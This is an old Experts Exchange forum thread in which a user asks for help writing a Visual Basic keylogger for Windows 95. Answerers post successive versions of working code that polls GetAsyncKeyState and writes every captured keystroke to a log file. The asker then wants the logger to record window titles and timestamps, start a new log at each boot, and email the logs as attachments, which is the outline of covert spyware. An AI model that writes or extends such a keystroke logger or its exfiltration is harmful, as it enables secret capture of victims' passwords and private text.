Link to home
Start Free TrialLog in
Avatar of dsteers
dsteers

asked on

Recording Keystrokes in VB4 Pro

Hi I was wondering wether you could please help me into finding out
how to record & detect keystrokes in the Win 95 Environment (in other programs),
using VB4 Pro, Win 95.
For example so that I can, for instance - The user typed in "PLAY" on the desktop
and my program would recognise that and open Sound Recorder or another program.
So if you could please help it would be much appreciated
I am using the GetAsyncKeyState API.Put it in a timer.Set a flag to check for each letter.
I used the following code,given to me by Fc_hnat but that only writes the ASCII values of the letters and their capitals into a text file,which is written down the page.
i.e.      110
      86
      45
      55
etc
I was wondering wether you could fix this problem so it would be written just like a normal text file.
i.e.    Hello   {Enter}
         How are you Today?.

In this you see what the user typed in exactly how it was typed with or withut the {Enter}.
This program is to also detect all the keys on the keyboard and their symbols if the SHIFT key is used.
      
I am prepared to pay very high points for this project, 500+

Thankyou very much.
Dave Steers (dave@midcoast.com.au)
Avatar of jbil
jbil

If you already can GetAsyncKeyState why not do something like this?.............

Label1.Caption = Label1.Caption & Chr(KeyState)

If KeyState = 13 Then
    Label1.Caption = Left$(Label1.Caption, Len(Label1.Caption) - 1)
        Select Case Label1.Caption

        Case "HELLO"
         Label1.Caption = "How are you today?"
        Case "CALC"
         Shell "C:\WINDOWS\CALC.EXE", 1
        Case "ETC"

        Case Else
        Label1.Caption = ""
        End Select
        'Label1.Caption = ""
End If

Hi !
I think you can check and interpret the keystroke before you write anything to the ascii file right ?? or you could use chr() function to interpret it for you. I meant before you print on file, call chr(keyCode).
Avatar of dsteers

ASKER

Dear Jbil
      I was really looking for something that would convert the ASCII into normal letters by intercept the keystrokes before they got to the text file.Sorry that I have probably misled you and thankyou very much for answering.
Avatar of dsteers

ASKER

Dear  Sendoh
            The explination that you gave me workes and I am happy to give you the points if you can please iron out a few proplem that I still have.
1. When you type in repetitive letters in a word like "happened" in the text file you see
"h"
"a"
"p"
"e"
"n"
"e"
"d"

The program does not detect the second "p" even if you hold the shift key down and make it a capital.
This is the code that I am using.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const VK_SHIFT = &H10

Dim Key_Flag As Integer
Dim KeyState As Integer
Dim Key_State_Number As Long
Dim Shift As Boolean

Private Sub Form_Load()

Open "c:\log.txt" For Append As #1

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Close #1
End Sub

Private Sub Timer1_Timer()
For x = 65 To 65 + 24
Key_State_Number = GetAsyncKeyState(x)
Shift = GetAsyncKeyState(VK_SHIFT)

If Key_State_Number <> 0 Then
KeyState = x + 32
Exit For
End If

Next

If Key_Flag <> KeyState Then

Key_Flag = KeyState

If Shift = True Then
Write #1, chr(KeyState - 32)
Else
Write #1, chr(KeyState)
End If
End If
End Sub

2.When the keys are written to the text file they are written in brackets and are also written down the page, as shown above.If possible I would like it to be written as a normal text file or as if someone has opened the file and has written a letter in it.Just like I have explained in my original question.

3.The code I am using only detects the Alphabet keys and their capitals not anything else,is it possible to include all the other keys in the keyboard.

Thankyou very much
      Dave Steers
2. Use Print #1, chr(KeyState); (notice the semicolon) to append to the txt file across the page. Then you will have to interpret the enter key (keystate 13) for when you want to send carraige return.

3. If you can get the keystate of a key then you can change to an askii value to send to file, use debug.print to see what the key codes are ( x will have to be from 1 to 255 to see all keycodes ,not just 65 To 65 + 24 )

1. Sorry, Don't know how to get repeats at this time.
 
Hi ! You may try following code :

Dim KeyState As Integer
Dim KeyFlag As Integer
Dim Key_State_Number As Long
Dim Shift As Boolean

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Command1_Click()
    Close #1
    Timer1.Enabled = False
End Sub

Private Sub Form_Load()
    Open "c:\temp\key\log.txt" For Append As #1
End Sub

Private Sub Timer1_Timer()
    For x = 65 To 89
        Key_State_Number = GetAsyncKeyState(x)
        Shift = GetAsyncKeyState(VK_SHIFT)
        If Key_State_Number <> 0 Then
            KeyState = x + 32
            Form1.Print "keystate = " & Chr(KeyState)
            Exit For
        End If
    Next

    'this statement only detect non repeate key.
    If Key_Flag <> KeyState Then
        Key_Flag = KeyState
        Form1.Print "write = " & Chr(KeyState)
        If Shift = True Then
            Print #1, Chr(KeyState - 32);
        Else
            Print #1, Chr(KeyState);
        End If
        KeyState = 0
    End If
End Sub

Hope it'll suit you ^_^.
Avatar of dsteers

ASKER

Dear  Sendoh
            The explinational code that you gave me doesn't seem to work for me.
It doesn't write the keypresses anywhere.I'm very sorry but can you please help me out once again,as this is very important to me.

Thankyou very much :)
      Dave Steers
Avatar of dsteers

ASKER

Dear Jbil
      The explination of your print command and the semi-colin works but when you mix in Capitals it doesn't work it just puts everything in Capitals.
Also you said to increase the ASCII keys from 1 to 255 but then how would you diferenciate Capitals,
i.e  How would you tell the computer to use the Capital version of the Letter.

If you could please help me out that would be very much appreciated.
Thank you
Dave Steers (dave@midcoast.com.au)
Hi !
I'd tried out this on my machine, its work. May I know which part doesn't work ??
Avatar of dsteers

ASKER

Dear Sendoh
                    It works but when I open the text file after I have typed in words when the form ran and closed the project,there is nothing in the text file.
I'm running VB 4 Pro,Win 95.

Thanks
Dave Steers (dave@midcoast.com.au)
Hi !
Did you call close #1 before closing your VB ??
Canyou ensure the file path are correct ?? and is the file open successful ??
Avatar of dsteers

ASKER

Dear Sendoh
            I'm not sure what it is,the code runs,I changed the path to be in the root directory,but that is all.It creates the log.txt file but there is nothing in it.I checked all your suggestions why it didn't work for me and I couldn't find anything.
Can you please help.

Thanks  Dave Steers (dave@midcoast.com.au)
HI !
What a strange problem. Nevermind.
Just debug it with the "step into" feature.
Oh, it may also cause by this "open 'filename' for append as #1"
You may tried calling freefile first and get the free file number.
then in middle of you program you just print something specific on this filenumber to make sure print #filenumber is working.

Dim KeyState As Integer
Dim KeyFlag As Integer
Dim Key_State_Number As Long
Dim Shift As Boolean

Const VK_SHIFT = &H10

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Private fileNum As Long

Private Sub Command1_Click()
    Close #fileNum
    Timer1.Enabled = False
    'For i = 65 To 90
    '    Text1.Text = Text1.Text & Chr(i)
    'Next i
    'MsgBox Chr(65)
End Sub

Private Sub Form_Load()
    fileNum = FreeFile()
    Open "c:\temp\key\log.txt" For Append As #fileNum
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
    Dim str As String
   
    str = Text1.Text
    If KeyAscii = 46 Then
        If InStr(str, ".") <> 0 Then
            KeyAscii = 0
        End If
    End If
End Sub

Private Sub Timer1_Timer()
    For x = 65 To 89
        Key_State_Number = GetAsyncKeyState(x)
        Shift = GetAsyncKeyState(VK_SHIFT)
        If Key_State_Number <> 0 Then
            If Not (Shift) Then
                KeyState = x + 32
            Else
                KeyState = x
            End If
            Form1.Print "keystate = " & Chr(KeyState) & " Shift = " & Shift
            Exit For
        End If
    Next

    'this statement only detect non repeate key.
    If Key_Flag <> KeyState Then
        Key_Flag = KeyState
        Form1.Print "write = " & Chr(KeyState)
        Print #fileNum, Chr(KeyState);
        KeyState = 0
    End If
End Sub

you can check whether the
form1.print "write =" & chr(keystate) had anything. If so, that means the print funtcion is not working. So....

Hope it'll help you ^_^.
Avatar of dsteers

ASKER

Dear Sendoh
      I am happy to say that the new code that you gave me now works,where you have placed code into a textbox I placed into the Forms keypress event and it works.
However it still does not pick up characters or numerals or function keys (I know you were just seeing if the code worked first).Also as I mentioned before I wish this program set the "LOG.txt" as it had been written like a letter or LOG  e.g

Hello   {Enter}
How are You Today ?.


So if you could please help me again with this it would be much appreciated.

P.S  I haven't forgotten about the Points arrangement for the completion of this project 500+.

Thankyou
Dave Steers (dave@midcoast.com.au)      
Hi !
In this case,

Private Sub Timer1_Timer()
    Dim x As Integer

    For x = 1 To 255
        '13 is enter, others were normal character
        If x = 13 Or (x > 64 And x < 91) Then
            Key_State_Number = GetAsyncKeyState(x)
            Shift = GetAsyncKeyState(VK_SHIFT)
            If Key_State_Number <> 0 Then
                If Not (Shift) And (x > 64 And x < 91) Then
                    KeyState = x + 32
                Else
                    KeyState = x
                End If
                If KeyState = 13 Then
                    Print #fileNum,
                Else
                    Print #fileNum, Chr(KeyState);
                End If
                Exit For
            End If
        End If
    Next
End Sub

In addition of other character, just add the keycode on the if statement above.
Hope it'll help you ^_^.
Avatar of dsteers

ASKER

Dear Sendoh,
            Your latest code works for the Enter Key but when I try to substitute that for the Number 1 key it doesn't work.I replaced where ever I saw a 13 to a 49 but it didn't work.
Can you please still help.I want to include the number keys and F-keys.

Thank you
Dave Steers (dave@midcoast.com.au)
ASKER CERTIFIED SOLUTION
Avatar of Sendoh
Sendoh
Flag of New Zealand image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of dsteers

ASKER

Dear Sendoh
            I got the numbers,function keys,Insert,Delete,Homw,End,Page Up and Down keys to work but not the character keys that are above the numbers.
Can you please help.

thanks
HI !
I can't really hepl you more cause I've got no time to test.
But anyway, what you've to do is :
1) check what are the key code for all numbers.
2) Then get the keycode for all "Character" above numbers.
3) Modify the code to check the keycode for numbers as well as the shift state. Based on that, just print the keycode(character) into the file if shift + numbers is press.
Avatar of dsteers

ASKER

Dear Sendoh,
            The project is nearly finished now,thanks,could you please help me in this other half of the project.
How do you detect and print into the same file as the keystrokes the name of the program that the user has focus on.Just the name of the window  and the Date and Time
e.g  Document - Wordpad.  10.24.55 am ,17/3/99

The finished file would look like this :

10.24.55 am , 17 March 1999

{Document - Wordpad}
Hello,How are you today ?.  [Alt + Tab]

{Microsoft Works - [Word1]}
The Cat Sat on the Mat.


Also the program will create a new log file each time the computer is turned on,even if it is several time a day.
And last of all if you could please help me find out how to send these files as attachments to an e-mail address (not using the Windows OLE Internet mail).
So if you can please help me then that would be great and you would have truely earned you 500 prints.

Thanks
Dave Steers (dave@midcoast.com.au)
Avatar of dsteers

ASKER

Dear Sendoh,
            After much thought I realise know that I have be Too greedy in what I have asked of you ,since you have helped me soo much.
Since you know what I'm upto perhaps you could help in one of the points,if not Thanks for all your help and here are you points.
Sorry that I can only offer somany points at this point but I promise you will get all your points.
Thanks once again.

Dave Steers (dave@midcoast.com.au)